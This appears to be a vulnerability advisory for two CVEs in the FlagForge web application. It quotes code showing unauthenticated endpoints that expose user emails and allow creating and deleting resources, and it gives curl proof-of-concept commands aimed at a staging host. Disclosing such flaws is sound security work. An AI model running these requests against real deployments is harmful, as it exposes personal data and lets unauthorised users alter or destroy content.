at0mxploit/cve-2025-59843-cve-2025-59932CVE on FlagForge on versions 2.0.0 to 2.3.0. Upgrade to version 2.3.1 to fix the issue.
In Scope / Affected Application: FlagForge Web Application
API Endpoint: /api/user/[username]
Details: The endpoint returns user email addresses without authentication. Any username can be queried publicly.
const user = await UserSchema.findOne({
name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');
// No authentication check is performed
email: user.email, // Exposed publicly
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
Sample Response:
{
"success": true,
"user": {
"name": "No Reply",
"email": "<REDACTED>",
...
}
}
In Scope / Affected Application: FlagForge Web Application
API Endpoint: /api/resources
Details:
GET /api/resources exposes all resources publicly.
Based on code review, POST and DELETE requests are not enforce authentication or authorization. These requests were not tested on the live system to avoid impacting production data.
Observed Headers (OPTIONS request):
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red
curl -X GET "https://staging.flagforge.xyz/api/resources"
This will give you the _id of the resources.
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"